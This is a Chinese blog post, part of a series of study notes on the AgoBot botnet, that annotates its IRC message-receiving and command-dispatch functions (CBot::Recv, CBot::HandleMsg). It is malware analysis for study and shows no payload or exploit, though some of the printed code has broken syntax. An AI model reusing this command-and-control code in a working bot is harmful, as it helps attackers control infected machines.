AgoBot 僵尸网络研究笔记(十)

 

十、2008年3月17日

作者:青青子衿

email:anzijin@sina.com

1 void   CBot :: Recv ( CMessage  * pMsg  )   函数 s

//

//函数功能:接收函数

//参数:   CMessage *pMsg 保存接收到的数据

//返回值:  void    

//

/

void   CBot :: Recv ( CMessage  * pMsg )

{

#ifdef  DBGCONSOLE

  if ( pMsg -> sDest [0]== '#' )  

  {

    //如果发送的目的端标识的第一个字符是“#”  用<>来标识目的端标识, 这种情况,目的标识符后的是频道名称

    g_cMainCtrl . m_cConsDbg . Log (5,  "<%s> %s/n" pMsg -> sSrc . CStr (),  pMsg -> sChatString . CStr ()); 

  }

  else

  {

    //不带“#”时,目的标识符,为IRC的用户名,是被/msg 命令发送给指定bot的

    g_cMainCtrl . m_cConsDbg . Log (5,  "*%s* %s/n" pMsg -> sSrc . CStr (),  pMsg -> sChatString . CStr ());

  }

#endif

  if ( pMsg -> sDest [0]== '#' )

  {

    //将sReplyTo值设置为频道名

    pMsg -> sReplyTo . Assign ( pMsg -> sDest ); 

  }

  else

  {

    //否则将sReplyTo设置为源端标识符

    pMsg -> sReplyTo . Assign ( pMsg -> sSrc );

  }

  if ( pMsg -> bNotice

  {

    //如果消息是通道模式,将sReplyTo设置为源端标识符

    pMsg -> sReplyTo . Assign ( pMsg -> sSrc );

  }

  //获取命令,

  pMsg -> sCmd . Assign ( pMsg -> sChatString . Token (0,  " " ). Mid (1));

  // Check if its a bot command by comparing the first byte to the bot_prefix value

  if ( pMsg -> sChatString [0]== bot_prefix . sValue [0]) 

  {

    //如果聊天内容字符串的第一个字符与设置中的命令前缀相同,则解析命令,进行处理

    if (! pMsg -> sCmd . Compare ( "bot.repeat" ))  //处理重复执行命令

    {

      if (! pMsg -> sChatString . Token (1,  " " ). Compare ( "" ))   //提取命令重复的次数

      {

        //如果为空,直接返回

        return ;

      }

      int   i =0,  iNum = atoi ( pMsg -> sChatString . Token (1,  " " ). CStr ());  //将重复次数的字符串转换成整型变量

      if (! iNum

      {

        //如果该数值是0,直接返回

        return ;

      }

     

      //将聊天字符串中,还没有处理的部分,赋值到一个新的字符串中。

      CString   sNewCStr = pMsg -> sChatString . Mid ( pMsg -> sChatString . Find ( ' ' ));

      sNewCStr = sNewCStr . Mid ( sNewCStr . Find ( ' ' ));

      pMsg -> sChatString . Assign ( sNewCStr );    //获取聊天内容

      pMsg -> sCmd . Assign ( pMsg -> sChatString . Token (0,  " " ). Mid (1));   //从聊天内容中获取指令

      for ( i =0; i < iNum ; i ++)  //根据指令重复执行的次数调用 HandleMsg函数来执行相应的操作。

      {

        HandleMsg ( pMsg ); 

      }

    }

    else

    {

      HandleMsg ( pMsg );  //调用具体的消息处理函数,来完成相应的操作。

    }

 

  else  

  {   //接收到的数据中,第一个字符不是前缀的字符

    //botname .command mod - deejayfuzion

    if ( pMsg -> sChatString . Token (0,  " " ). Find ( g_cMainCtrl . m_sUserName )) 

    {

      //如果第一个由空格分割的字符串是bot用户的名称,那么做以下操作

      CString   sNewCStr = pMsg -> sChatString . Mid ( pMsg -> sChatString . Find ( ' ' )); 

      pMsg -> sChatString . Assign ( sNewCStr );  //跳过这个字符串将后面的数据在写到消息变量pMsg中

      pMsg -> sCmd . Assign ( pMsg -> sChatString . Token (0,  " " ));  //寻找指令字符串

      this -> Recv ( pMsg );  //重新调用消息接收函数。

    }

  }

}

2 bool   CBot :: HandleMsg ( CMessage  * pMsg )  函数

//

//函数功能:BOT类中的消息处理函数

//参数:   CMessage *pMsg     需要处理的消息

//返回值:   正确处理返回true,否则返回false

//

///

bool   CBot :: HandleMsg ( CMessage  * pMsg )

{  

  // If it's no login command and the user isn't logged in yet, break

  //如果消息指令不是登录指令,并且消息中的消息源在登录列表中并没有注册,那么返回false

  if ( pMsg -> sCmd . Compare ( "login" ) && ! g_cMainCtrl . m_cMac . FindLogin ( pMsg -> sSrc )) 

  {

    return   false ;

  }

  else

  {  

    // If the user isn't logged in yet, bot_seclogin is enabled and its no channel message, break;

    if (! g_cMainCtrl . m_cMac . FindLogin ( pMsg -> sSrc ))

   

      //如果没有登录记录

      if ( bot_seclogin . bValue //该值的作用含不清楚

      {

        if ( pMsg -> sDest [0]!= '#' )   //标识该消息是发向整个频道的

        {

          return   false ;

        }

      }

    }

    // Find the command using the command handler

    //根据指令的名称寻找相应的指令

    command  * pCommand = g_cMainCtrl . m_cCommands . FindCommandByName ( pMsg -> sCmd . CStr (),  true );

    // If the command is found, let the command hander handle it

    if ( pCommand

    {

      //如果该指令找到,执行相应指令的HandleCommand 函数,处理相应的消息。

      return   pCommand -> pHandler -> HandleCommand ( pMsg ); 

    }

    else  

    {

      //如果未找到相应的指令,返回false

      return   false ;

    }

  }    

}

 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值